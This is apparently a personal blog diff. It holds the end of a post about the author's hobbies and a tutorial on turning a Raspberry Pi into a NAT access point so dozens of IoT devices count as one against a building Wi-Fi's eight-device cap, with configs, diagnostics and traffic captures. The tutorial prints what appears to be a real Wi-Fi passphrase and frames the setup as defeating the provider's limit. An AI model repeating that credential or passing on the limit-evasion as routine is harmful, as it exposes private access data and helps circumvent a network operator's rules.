Only in one of the years this event was internal, and they taught us 13-15 year young folks basics of cryptography, and ciphers.
We then competed against each other.
The competition was simple, develope a cipher with your team in a n*n (I think n was 6 or 8), then you split up into two groups, one team encrypts a message and you recieve the delivered message, the other team has to decrypt it.
The fastest team gets the most points.
The the message is common between teams.
After this phase the teams got together and had to figure out other teams encryption algorithm, if successful, they got points.
First teams to get an algorithm gets more points.
Our team won the best algorithm in the end, and my ideas were most influential in this achievement!
My teammates became really good friends with me after this competition which felt really cool!
I think this was the reason I became interested in cryptography.
I don't remember the first year, but the first and last year in the final phase and after qualifying they tought us basics of game theory, and we had a set of two player fair and unfair games for which we had to compete against other players.
If your team solved a game, you got more points.
It was really fun, and since the games happened in parallel, all teammtes had to be active.
I said all of this just to say thinking on problems became a hobby for me out of all of these cool expereinces.
I like to casually get lost in questions and think about weird equations, or natural problems.
Something like Feynman's obsession with the spaghetti problem!
Initially when starting my PhD, I did this, but then I diverged to other things I will talk about later on.
But I do want to get back to this fun hobby.
I just need some questions, and an empty mind.
Or I guess some time slots to chill and not stress about my other research.
During my bachelors, I became fascinated by hardware.
Like sensors, actuators, micro-controllers, and anything that I could program to do something I do but do not want to do manually.
Later on I realized this is related to IoT and Embedded systems.
I did take the embedded systems course, and for the project that the cap was 120 points, we got a wopping 125 out of 100!
Not only we implemented the whole project parts that we had to implement, but also we went beyond and just surprised the professor and his TAs!
Unfortunately I don't have any images from the project, but the code can be found [here](https://github.com/AlipourIm/Embedded_Systems_Project_Spring-1402).
I bought myself a raspberrypi, many sensors and actuators, and did small fun projects!
I deployed a VPN on my home network, made my Rpi accessible with dynamic IP over the Internet via DDNS, deployed my very own nextcloud, website, and so on.
I smartified my room AC s.t. it would keep the temprature at a certain range in a way to avoid hysteresis via a simple temprature and humidity sensor, and an IR-transceiver by recording the controllers signal.
I could not figure out how to fix the state when commands don't go through correctly though, a challenge that I never solved or came up with a solution for.
I would say my love with computers, making things smart, and networking became my main hobby!
After some protests and Internet blockages, I became interested in setting up VPNs that could penetrate through censorship attempts.
It was, and still is a rat race.
Well, it's the story of my PhD pretty much now.
Reading books became a hobby for a while, but Youtube kinda distroyed that.
I really love to get back to reading more books, I have a really exciting list of books to be read in my library.
Listening to Music is another amazing hobby I have, specifically when I walk around or do chores.
I find doing chores so relaxing!
Since we talked about music I should mention I also tried to learn Piano, but didn't pursue it.
I actaully wanted to learn Violine, but the consultant we talked to said "if you're not a hard worker it won't workout for you", and since my brother was going to learn Piano, I followed suit.
And oh well, our teacher although he though I was doing really good for my age, did not give me the same set of practices that my brother got, and naturally since I was learning from kids books, I felt sad since his music always sounded better, and I eventually gave up feeling sad.
This is a pattern that has happened in my life a lot, something I need to stop from happening.
Comparing myself with other, and competing with them.
It's just distroying me mentally.
I am me, and the best me ever to exist.
And that's how it should be.
Somewhere during my bachelors I also became fascinated by coffee!
I watched many James Hoffman videos and learned how to use different berewing methods for coffee, and did lots of experiments with it.
Then came matcha, though with matcha things are much more limited.
Another thing that comes to mind is boardgames.
I love boardgames that you need to think and be smart!
An example is Cluedo.
People usually don't like to play it with me because I pay attention to "everything".
But I also anjoy playing other simpler games like UNO, Risk, Catan, card games, Coup, and many many other fun party games.
I have a whole collection of boardgames that I don't get to play! :-P
One of my all time favorite games is "Zaar" (a persian game that was discontinued), and a game kinda similar to it called "The Night Cage".
I like them because there is a bit of strategy, luck, and a lot of co-op in them.
In the later you either all win together, or get doomed.
In the first one there is a comperition aspect to the game which makes it cool.
Cooking is another hobby of mine, although I only enjoy it when done with someone, or in a group. Aaaaaand guess what, I'm a loner! (Drat. :P)
I love to "not follow recipes" and try new things.
Foods I make usually turn out to be quite yummy actually, though definitly not authentic.
I also think I do a good job with the presentation part when I try.
And I'm open to cooking anything and everything!
I was also interested in Hiking, but never really got to know someone who is both interested and willing to go with me, and when I'm alone, I rather do my other hobbies.
And that leaves me with my latest two hobbies. CTFs, and 3D printing! Oh ,and I guess maybe blogging and sharing photos online? Idk! xD
3D printing is an interesting one.
I was fascinated about it from before, but never got my hands on a 3D printer until like 7 months ago.
When I went to 38c3 last year, I saw so many printers, and how cool they were.
And somehting in my heart was touched, that I need one!
The thing is, I tend to like thinks that limit me to my creativity, like the IoT stuff, or how I always loved to play Minecraft as a kid.
And oh well, 3D printing is just the hobby!
I also tried to do some 3D design, but I'm quite a noob at it still.
I will probably share some of the things I've made somewhere somehow, but not for now at least.
Well, one of my cool projects inspired and mostly funded by my advisor was the INET logo (post comming soon!).
It's so cute and fascinating, and I had an absolute blast working on it for the one week I did.
So much designing, fixing measurements, printing, coding, soldering, wiring, debugging, etc.!
I also 3D printed and painted many gifts and organizers and other figues for either myself, or my friends.
It's just a fun thing to have, and to play around with.
The fixing part of it, and maintaining it is not as fun, but it's part of the journey.
I will probably write about me and my 3D printer a lot more in the future.
Another cool thing I can do with it, and have been doing so, is to do prints for the PhD hat of the people who will be graduating, a German cute and cool tradition!
And now let's talk about the CTF stuff.
This is somewhat related to my interest in computers, problem solving, and cryptography (kinda).
I've been wanting to do CTFs for a long time and throughout my Bachelors, but never did so.
After starting my PhD, I was introduced to Saarsec, and now I'm a proud member, trying to contribute as much as my time allows me to.
I'm not good at CTFs, but the joy of getting stuck on a problem, and maybe finally solving it is just too good to pass.
I love it!
I want to do more of it.
The only sad part is that it takes a long time, and well, I need to spend time on the social aspects of my life too.
Too shay.
I would love to share some of my write-ups here too, and also write about it in the future, but there is only so much time I can spend on the blog.
And last but not least, blogging.
Well, I kinda started it for no reason to be honest.
I just want to share my stories, and to show my vulnerable side with no guilt.
It feels freeing to do this, and I hope I continue!
I hope people won't get mad if they are a part of these stories I share.
I try to not name any names if not required, but I do think putting my PoV helps me with reducing some anxiety and social pressure.
I really enjoy it!
With all this being said, I think that's it.
If I remember other hobbies that I missed, I will add them to the end of the article or maybe write a new post about it, Idk.
The only thing I want to emphasize is that I'm into things that make me limited to my creativity.
Oh, and also books, if only I read them instead of watching Youtube!!!!
---
{{< sigdl >}}

View file

@ -0,0 +1,685 @@
---
title: "I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)"
date: 2025-11-23
draft: false
tags: ["raspberry pi", "wifi", "iot", "networking", "hostapd", "dnsmasq"]
description: "Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support."
author: "Iman Alipour"
ShowToc: true
TocOpen: true
---
## The Day My Wi-Fi Said “Eight Is Enough”
My apartment Wi-Fi (ASK4) has a hard cap of **8 devices**. Thats adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put **all the IoT stuff behind a Raspberry Pi** that shows up as **one** device to the buildings network, but acts like a full-blown Wi-Fi for everything else I own.
This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.
---
## Hardware: what I picked and why
- **Raspberry Pi 4 (4GB)**
It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.
- **ALFA AWUS036ACHM (USB Wi-Fi)**
Reliable, **AP-mode** friendly on Linux, and happy with `hostapd`. I used it to **broadcast** my IoT network (2.4 GHz, 20 MHz channel) while the Pis built-in Wi-Fi connects upstream. For better range, use a short **USB 3 extension** so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).
- **Fast USB-C power supply** (official Pi 4 or 5V/3A equivalent)
Wi-Fi spikes current draw; brown-outs cause random gremlins.
- **1632 GB microSD**, **heatsinks**, **ventilated case**
The Pi 4 appreciates a bit of airflow.
- **(Optional) Ethernet cable**
If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.
---
## What this setup actually does
- The Pi connects to the buildings **ASK4 Wi-Fi** as a **client** (`wlan0`).
- The ALFA dongle creates a new access point called **`IoT_hub`** (`wlx…` interface) with password `Iman8118`.
- Devices join `IoT_hub`. The Pi does **NAT**, so upstream sees **one MAC address** (the Pi), not dozens of gadgets. Device limit: defeated.
- **Avahi mDNS reflector** lets services like **AirPlay/HomeKit** be discoverable across the two subnets without touching the managed router.
- If Im on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., **Tailscale**) to reach `192.168.50.0/24` from anywhere.
---
## Setup details (the friendly version)
### 1) Access point with hostapd
I broadcast a simple WPA2 network on **2.4 GHz** (best compatibility). Channel **1/6/11**—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.
```ini
interface=wlx00c0cab7ab29
ssid=<A_NICE_SSID>
country_code=DE
hw_mode=g
channel=6
ieee80211n=1
wmm_enabled=1
# Don't require HT or you'll reject some tiny IoT clients:
require_ht=0
wpa=2
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
wpa_passphrase=<STRONG_PASSWORD>
```
### 2) DHCP on the IoT side (dnsmasq)
Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.
```bash
interface=wlx00c0cab7ab29
bind-interfaces
dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h
dhcp-option=3,192.168.50.1
dhcp-option=6,1.1.1.1,8.8.8.8
port=0 # leave port 53 to systemd-resolved
log-dhcp
```
### 3) Routing + NAT (nftables)
This makes every downstream device appear as the Pi upstream:
```bash
table inet filter {
chain input {
type filter hook input priority filter; policy accept;
ct state established,related accept
iif "lo" accept
iif "wlan0" accept
iif "wlx00c0cab7ab29" accept
udp dport 5353 accept # mDNS
counter drop
}
chain forward {
type filter hook forward priority filter; policy accept;
ct state established,related accept
iif "wlx00c0cab7ab29" oif "wlan0" accept
iif "wlan0" oif "wlx00c0cab7ab29" accept
}
chain output { type filter hook output priority filter; policy accept; }
}
table ip nat {
chain postrouting {
type nat hook postrouting priority srcnat; policy accept;
oif "wlan0" masquerade
}
}
```
### 4) mDNS across subnets (Avahi)
The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:
```bash
[server]
allow-interfaces=wlan0,wlx00c0cab7ab29
[reflector]
enable-reflector=yes
```
I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale
Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.
Now some random questions that I looked up in internet:
1. How many devices can this really support?
Short answer: a lot—for IoT.
Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 5070 devices is completely reasonable. The ALFAs radio and hostapd handle concurrent associations fine; Ive watched dozens attach, chatter, and renew leases without drama.
If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.
2. What speeds should I expect?
- LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2:
~2060 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I'm golden! ^^
- Internet (IoT device → upstream via Pi):
If the Pis upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~3070 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.
- Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.
3. Why these choices?
- 2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.
- WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.
- 20 MHz channel prevents older or power-saving devices from flaking out.
- Avahi reflector avoids any changes to the buildings router and still lets discovery work.
- NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.
## Troubleshooting
- `hostapd` **masked/disabled**
```bash
sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd
```
- `dnsmasq` cant start because of **port 53**
set `port=0` in `/etc/dnsmasq.d/*.conf` and let systemd-resolved keep DNS.
- **“Station does not support mandatory HT PHY”** in `hostapd` logs →
add `require_ht=0` (and keep `ieee80211n=1`) in your `hostapd.conf`.
- AirPlay/HomeKit dont show up across subnets →
ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:
- `/etc/avahi/avahi-daemon.conf` has:
```bash
[server]
allow-interfaces=wlan0,wlx00c0cab7ab29
[reflector]
enable-reflector=yes
```
- firewall allows:
```bash
udp dport 5353 accept
```
- Weak signal / flaky joins →
use a short **USB 3 extension** to move the ALFA away from the Pi and cables;
scan and switch to a cleaner **2.4 GHz** channel (1/6/11), keep width at **20 MHz**.
- Clients connect but no internet →
verify IP forward & NAT:
```bash
sudo sysctl net.ipv4.ip_forward
```
If it's 0, enable it permanently and reload
```bash
echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf
sudo sysctl --system
```
Verify the nftables NAT rule exists (masquerade out via wlan0)
```bash
sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p'
```
Add it if missing
```bash
sudo nft add table ip nat
sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }'
sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade'
```
Persist nftables (Ubuntu)
```bash
sudo sh -c 'nft list ruleset > /etc/nftables.conf'
sudo systemctl enable --now nftables
```
## Quick service sanity checks
### hostapd (AP)
```bash
sudo systemctl status hostapd --no-pager
sudo journalctl -u hostapd -n 60 --no-pager
iw dev wlx00c0cab7ab29 info
iw dev wlx00c0cab7ab29 station dump
```
### dnsmasq (DHCP on IoT side)
```bash
sudo systemctl status dnsmasq --no-pager
sudo journalctl -u dnsmasq -n 80 --no-pager
grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true
tail -n 50 /var/lib/misc/dnsmasq.leases
```
### Avahi (mDNS reflector)
```bash
grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf
sudo systemctl status avahi-daemon --no-pager
sudo journalctl -u avahi-daemon -n 60 --no-pager
```
## Basic connectivity tests from a client on IoT_hub
### got DHCP?
```bash
ip addr show
ip route
cat /etc/resolv.conf
```
### can you reach the Pi and the internet?
```bash
ping -c 3 192.168.50.1
ping -c 3 1.1.1.1
ping -c 3 google.com
```
### DNS works end-to-end?
```bash
dig +short _airplay._tcp.local @224.0.0.251 -p 5353
```
(Or use a Bonjour browser app to confirm the HomePod is discoverable.)
## If AirPlay/HomeKit discovery is flaky across subnets
### make sure mDNS is allowed both directions on the Pi
```bash
sudo nft add rule inet filter input udp dport 5353 accept
sudo nft add rule inet filter forward udp dport 5353 accept
sudo sh -c 'nft list ruleset > /etc/nftables.conf'
```
### restart Avahi cleanly and re-announce
```bash
sudo systemctl restart avahi-daemon
sudo journalctl -u avahi-daemon -n 40 --no-pager
```
### from the Pi, watch mDNS traffic on both sides (you should see queries/answers)
```bash
sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv
```
(in another terminal:)
```bash
sudo tcpdump -ni wlan0 udp port 5353 -vvv
```
## Throughput + airtime sanity (optional)
### simple iperf3 (install on Pi and a client)
```bash
sudo apt-get update && sudo apt-get install -y iperf3
```
(on the Pi:) `iperf3 -s`
(on a client:) `iperf3 -c 192.168.50.1 -P 3 -t 10`
### check channel utilization/interference (from Pi)
```bash
sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p'
```
(if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)
## Scaling tips (lots of tiny IoT devices)
### hostapd tweaks (add to hostapd.conf, then restart)
(reduce management overhead slightly; keep conservative for compatibility)
```bash
beacon_int=100
dtim_period=2
wmm_enabled=1
ap_isolate=0
max_num_sta=256 # logical cap; real limit is airtime/driver
```
```bash
sudo systemctl restart hostapd
```
### if some ESP/low-power clients are sticky or nap too hard:
(device-side) disable aggressive power saving if supported
(AP-side) keep channel width at 20 MHz and `require_ht=0` for legacy clients
## “Clients connect but no internet” quick checklist
### Pi has a default route via upstream?
```bash
ip route | grep default
```
### NAT counters are increasing when clients surf?
```bash
sudo nft list chain ip nat postrouting -a
```
### connections tracked?
```bash
sudo conntrack -L -o extended | head -n 40
```
### last resort: bounce the pieces
```bash
sudo systemctl restart hostapd dnsmasq avahi-daemon
sudo systemctl restart NetworkManager || true
sudo systemctl restart nftables
```
## Network Traffic (embedded from captures)
For fun, and curiousity!
### 1) DHCP leases (who joined the IoT network)
```bash
1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88
1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a
1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c
1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29
1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c
1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * *
1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * *
1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * *
1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 *
1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc
```
### 2) Top talkers by bytes (hosts table)
```bash
192.168.50.233,7346
192.168.50.118,7216
192.168.50.131,7216
17.253.53.203,7040
54.217.122.41,6271
192.168.50.216,5392
192.168.50.104,3058
192.168.50.189,2278
17.242.218.132,1802
192.168.50.134,1750
192.168.50.196,1653
3.122.71.119,639
18.196.19.65,570
161.117.178.131,391
17.253.53.201,148
17.57.146.25,90
10.172.72.196,66
224.0.0.251,0
224.0.0.2,0
255.255.255.255,0
```
### 3) Heaviest flows (src, dst, proto, dport, bytes)
```bash
192.168.50.202,192.168.50.131,TCP,59903,402
192.168.50.202,192.168.50.118,TCP,59807,402
161.117.178.131,192.168.50.134,TCP,58246,391
192.168.50.216,192.168.50.202,UDP,5353,336
192.168.50.202,192.168.50.189,UDP,5353,312
192.168.50.202,192.168.50.196,UDP,5353,234
17.253.53.203,192.168.50.202,TCP,64726,222
192.168.50.216,17.57.146.25,TCP,5223,172
192.168.50.216,192.168.50.233,UDP,5353,162
192.168.50.202,192.168.50.104,UDP,5353,156
17.253.53.201,192.168.50.202,TCP,64727,148
192.168.50.202,17.253.53.201,TCP,443,132
192.168.50.216,224.0.0.251,IP,0,92
192.168.50.216,224.0.0.2,IP,0,92
17.57.146.25,192.168.50.216,TCP,64544,90
192.168.50.216,192.168.50.118,UDP,5353,75
192.168.50.216,192.168.50.131,UDP,5353,75
192.168.50.216,192.168.50.134,UDP,5353,75
192.168.50.216,10.172.72.196,TCP,59593,70
10.172.72.196,192.168.50.216,TCP,51638,66
```
### 4) Conntrack snapshot (active connections inventory)
```bash
ipv4 2 tcp 6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1
ipv4 2 udp 17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
ipv4 2 tcp 6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1
ipv4 2 udp 17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
ipv4 2 udp 17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1
ipv4 2 tcp 6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1
ipv4 2 udp 17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1
ipv4 2 unknown 2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1
ipv4 2 udp 17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1
ipv4 2 udp 17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1
ipv4 2 udp 17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1
ipv4 2 tcp 6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1
ipv4 2 udp 17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
ipv4 2 tcp 6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1
ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
ipv4 2 tcp 6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1
ipv4 2 tcp 6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1
ipv4 2 tcp 6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1
ipv4 2 udp 17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1
ipv4 2 unknown 2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1
ipv4 2 udp 17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8
ipv4 2 udp 17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
ipv4 2 udp 17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1
ipv4 2 udp 17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1
ipv4 2 tcp 6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1
ipv4 2 tcp 6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1
ipv4 2 tcp 6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1
ipv4 2 tcp 6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1
ipv4 2 udp 17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
ipv4 2 tcp 6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1
ipv4 2 udp 17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1
ipv4 2 udp 17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1
ipv4 2 tcp 6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1
ipv4 2 udp 17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1
ipv4 2 udp 17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
ipv4 2 tcp 6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1
ipv4 2 udp 17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1
ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1
ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1
ipv4 2 tcp 6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1
ipv4 2 tcp 6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1
ipv4 2 tcp 6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1
ipv4 2 tcp 6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1
```
### 5) Part of Raw packet capture
- Whats inside?
```bash
tshark -r iot_ap_120s.pcap -q -z io,stat,60
==================================
| IO Statistics |
| |
| Duration: 119.773534 secs |
| Interval: 60 secs |
| |
| Col 1: Frames and bytes |
|--------------------------------|
| |1 |
| Interval | Frames | Bytes |
|--------------------------------|
| 0 <> 60 | 400 | 60449 |
| 60 <> Dur | 24672 | 30179911 |
==================================
```
- Protocol hierarchy (what kinds of traffic?)
```bash
tshark -r iot_ap_120s.pcap -q -z io,phs
===================================================================
Protocol Hierarchy Statistics
Filter:
eth frames:25072 bytes:30240360
ip frames:24706 bytes:30195993
udp frames:349 bytes:94583
mdns frames:241 bytes:60693
data frames:32 bytes:2240
quic frames:76 bytes:31650
quic frames:2 bytes:2484
tcp frames:24353 bytes:30101226
tls frames:2413 bytes:3493680
tcp.segments frames:2256 bytes:3378795
tls frames:2222 bytes:3353799
data frames:147 bytes:71717
tcp.segments frames:5 bytes:7550
igmp frames:4 bytes:184
arp frames:150 bytes:6300
ipv6 frames:216 bytes:38067
icmpv6 frames:124 bytes:10704
udp frames:79 bytes:25415
data frames:2 bytes:132
mdns frames:77 bytes:25283
tcp frames:13 bytes:1948
data frames:1 bytes:90
===================================================================
```
- Top IP conversations (who talked to whom?)
```bash
tshark -r iot_ap_120s.pcap -q -z conv,ip
================================================================================
IPv4 Conversations
Filter:<No Filter>
| <- | | -> | | Total | Relative | Duration |
| Frames Bytes | | Frames Bytes | | Frames Bytes | Start | |
192.168.50.202 <-> 17.253.37.195 19588 29 MB 3912 286 kB 23500 29 MB 72.555738000 21.8560
192.168.50.1 <-> 192.168.50.202 239 74 kB 238 46 kB 477 120 kB 0.293866000 119.4797
192.168.50.1 <-> 224.0.0.251 0 0 bytes 118 28 kB 118 28 kB 0.000000000 119.7310
192.168.50.202 <-> 1.1.1.1 40 20 kB 36 10 kB 76 31 kB 72.033321000 30.3367
192.168.50.202 <-> 2.19.120.151 47 44 kB 29 8,460 bytes 76 53 kB 72.062807000 14.8525
192.168.50.202 <-> 17.56.138.35 27 7,602 bytes 33 13 kB 60 20 kB 72.107270000 15.0196
192.168.50.202 <-> 17.253.53.203 17 7,040 bytes 23 9,256 bytes 40 16 kB 72.326823000 10.5130
192.168.50.202 <-> 54.217.122.41 19 6,271 bytes 18 6,122 bytes 37 12 kB 102.352119000 0.3678
